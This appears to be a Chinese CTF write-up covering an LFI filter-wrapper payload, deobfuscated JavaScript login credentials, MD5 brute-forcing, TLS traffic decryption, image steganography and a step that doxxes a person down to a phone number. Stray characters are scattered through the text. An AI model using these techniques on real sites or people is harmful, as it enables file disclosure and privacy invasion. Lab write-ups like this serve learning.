web
這里什么都沒(méi)有的簽到
網(wǎng)頁(yè)名是LFI妆偏，LFI是本地包含漏洞的縮寫(xiě)，先用偽協(xié)議看看index.php的源代碼
php://filter/read=convert.base64-encode/resource=index.php
LFI
base64解密后得到
<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>LFI</title>
</head>
<body alink="#007000" bgcolor="#000000" link="gold" text="#008000" vlink="#00c000">
<br>
<br>
<br>
<center>
<head><h1>è??é??????1?é???2????~</h1></head><br>
<br>
<br><br>
<form method="post" action="#">
<input type="text" name="file" value=""/>
<input type="submit" name="submit" value="????o¤"/>
</form>
</center>
<?php
error_reporting(0);
if(isset($_POST['submit'])){
if(isset($_POST['file'])){
$file = $_POST['file'];
$method = explode("=", $file);
if( ($method[0] == "php://filter/read") && ($method[2] == "index.php") ){
include($file);
exit();
}else{
exit('error file or error method');
}
}
}
//flag:{Jus7_a_simpl3_fil3_includ3}
佳瓦的秘密
查看源代碼古拴，發(fā)現(xiàn)登陸是用js實(shí)現(xiàn)的箩帚。
js一看就是混淆過(guò)的，解混淆得
_f = function () {
var f = document.createElement("form");
document.getElementById('login').appendChild(f);
f.name = "login";
return f
}();
_uname = function () {
var uname = document.createElement("input");
uname.type = "text";
uname.id = "uname";
uname.value = 'Input Username';
uname.style.margin = "0px 0px 0px 60px";
_f.appendChild(uname);
uname.onfocus = function () {
if (this.value == 'Input Username') this.value = ''
};
uname.onblur = function () {
if (this.value == '') this.value = 'Input Username'
};
return uname
}();
_br = function () {
var br = document.createElement("br");
_f.appendChild(br);
br = document.createElement("br");
_f.appendChild(br);
return br
}();
_upass = function () {
var upass = document.createElement("input");
upass.type = "password";
upass.id = "upass";
upass.value = 'Input Password';
upass.style.margin = "0px 0px 0px 60px";
_f.appendChild(upass);
upass.onfocus = function () {
if (this.value == 'Input Password') this.value = ''
};
upass.onblur = function () {
if (this.value == '') this.value = 'Input Password'
};
return upass
}();
_btn = function () {
var btn = document.createElement("input");
_f.appendChild(btn);
btn.type = "button";
btn.value = "login";
btn.onclick = function () {
uname = document.getElementById('uname').value;
upass = document.getElementById('upass').value;
if (uname == "") alert('Please Input Username!');
else if (upass == "") alert('Please Input Password!');
else {
eval(unescape("var%20strKey1%20%3D%20%22JaVa3C41ptIsAGo0DStAff%22%3B%0Avar%20strKey2%20%3D%20%22CaNUknOWThIsK3y%22%3B%0Avar%20strKey3%20%3D%20String.fromCharCode%2871%2C%2048%2C%20111%2C%20100%2C%2033%29%3B%0Aif%20%28uname%20%3D%3D%20%28strKey3%20+%20%28%28%28strKey1.toLowerCase%28%29%29.substring%280%2C%20strKey1.indexOf%28%220%22%29%29%20+%20strKey2.substring%282%2C%206%29%29.toUpperCase%28%29%29.substring%280%2C%2015%29%29%29%20%7B%0A%20%20%20%20var%20strKey4%20%3D%20%27Java_Scr1pt_Pa4sW0rd_K3y_H3re%27%3B%0A%20%20%20%20if%20%28upass%20%3D%3D%20%28strKey4.substring%28strKey4.indexOf%28%271%27%2C%205%29%2C%20strKey4.length%20-%20strKey4.indexOf%28%27_%27%29%20+%205%29%29%29%20%7B%0A%20%20%20%20%20%20%20%20alert%28%27Login%20Success%21%27%29%3B%0A%20%20%20%20%20%20%20%20document.getElementById%28%27key%27%29.innerHTML%20%3D%20unescape%28%22%253Cfont%2520color%253D%2522%2523000%2522%253Ea2V5X0NoM2NrXy50eHQ%3D%253C/font%253E%22%29%3B%0A%20%20%20%20%7D%20else%20%7B%0A%20%20%20%20%20%20%20%20alert%28%27Password%20Error%21%27%29%3B%0A%20%20%20%20%7D%0A%7D%20else%20%7B%0A%20%20%20%20alert%28%27Login%20Failed%21%27%29%3B%0A%7D"))
}
};
return false
}();
解密下面的代碼得
var strKey1 = "JaVa3C41ptIsAGo0DStAff";
var strKey2 = "CaNUknOWThIsK3y";
var strKey3 = String.fromCharCode(71, 48, 111, 100, 33);
if (uname == (strKey3 + (((strKey1.toLowerCase()).substring(0, strKey1.indexOf("0")) + strKey2.substring(2, 6)).toUpperCase()).substring(0, 15))) {
var strKey4 = 'Java_Scr1pt_Pa4sW0rd_K3y_H3re';
if (upass == (strKey4.substring(strKey4.indexOf('1', 5), strKey4.length - strKey4.indexOf('_') + 5))) {
alert('Login Success!');
document.getElementById('key').innerHTML = unescape("%3Cfont%20color%3D%22%23000%22%3Ea2V5X0NoM2NrXy50eHQ=%3C/font%3E");
} else {
alert('Password Error!');
}
} else {
alert('Login Failed!');
}
計(jì)算得
uname = G0od!JAVA3C41PTISAGO
upass = 1pt_Pa4sW0rd_K3y_H3re
returntxt = a2V5X0NoM2NrXy50eHQ=
base64解碼得key_Ch3ck_.txt黄痪，訪問(wèn)后得Ch3ck_Au7h.php紧帕，然后用post方式提交uname和upass得到flag。
我叫良辰满力！不服人肉我
qq號(hào)訪問(wèn)空間焕参，用提示的生日進(jìn)入，得到手機(jī)號(hào)油额，用手機(jī)號(hào)得到flag
逆向
py逆向1
用python官方給的工具EasyPythonDecompiler將pyc文件轉(zhuǎn)化為可讀的py文件叠纷。
# Embedded file name: unVm.py
import md5
md5s = [40872900234340200352311496849171786925L,
37774871274387226911544626909853297147L,
136364329640288194110852557127415197202L,
197102543045186090881257886713375686009L,
46282790971609926574181364879232245714L,
199788626591470902691740865303843697496L,
139155483798021197733301619201494834453L,
105977393849615850942572250680575701536L,
103383262965894787541607484291344857033L,
193549894376121578282270539756256252317L]
print 'Can you turn me back to python ? ...'
flag = raw_input('well as you wish.. what is the flag: ')
if len(flag) > 50:
print 'nice try'
exit()
if len(flag) % 5 != 0:
print 'nice try'
exit()
for i in range(0, len(flag), 5):
s = flag[i:i + 5]
if int('0x' + md5.new(s).hexdigest(), 16) != md5s[i / 5]:
print 'nice try'
exit()
print 'Congratz now you have the flag'
讀程序可以發(fā)現(xiàn)flag每五位對(duì)應(yīng)的MD5值轉(zhuǎn)化為十進(jìn)制后等于md5s里的數(shù)據(jù)。
用format()將數(shù)據(jù)還原成32位16進(jìn)制數(shù)
for md5 in md5s:
print('{:32x}'.format(md5))
因?yàn)槲覀円呀?jīng)知道這些md5值是5個(gè)字符加密而成的潦嘶，所以可以使用MD5Crack之類(lèi)的工具爆破md5值涩嚣。
雜項(xiàng)
深入敵后
用wireshark打開(kāi)數(shù)據(jù)包，分析一下數(shù)據(jù)包的構(gòu)成掂僵。
image.png
先看看smtp(郵件)
image.png
關(guān)鍵應(yīng)該在于這個(gè)網(wǎng)址航厚，結(jié)合前面分析數(shù)據(jù)包的構(gòu)成加上https，我們需要找到ssl證書(shū)锰蓬。
分析ftp協(xié)議發(fā)現(xiàn)傳輸了ssc.key
image.png
在ftp-date協(xié)議獲取獲取到ssc.key的內(nèi)容
image.png
導(dǎo)入ssl證書(shū)
image.png
在郵件里提到的那個(gè)網(wǎng)站上搜索FLAG得到FLAG
隱寫(xiě)
奇怪的圖片
圖片隱寫(xiě)常見(jiàn)操作來(lái)一遍幔睬，用binwalk發(fā)現(xiàn)里面藏了個(gè)rar
image.png
用foremost取出這個(gè)壓縮包，內(nèi)容如下
image.png
第一個(gè)文本里面寫(xiě)的是不要太心急芹扭，pdf里面寫(xiě)的好像是關(guān)于隱寫(xiě)的一些東西麻顶。
壓縮包里面是一堆二維碼赦抖，i am useless用二進(jìn)制編輯器可以看出是一張圖片
image.png
改成圖片后發(fā)現(xiàn)是張二維碼，掃描后出現(xiàn)了一句話
image.png
對(duì)這張圖片嘗試各種圖片隱寫(xiě)操作辅肾，發(fā)現(xiàn)這是色道隱寫(xiě)
image.png
這玩意看著就像摩斯電碼队萤，將其記錄后用工具轉(zhuǎn)換一下就能得到FLAG
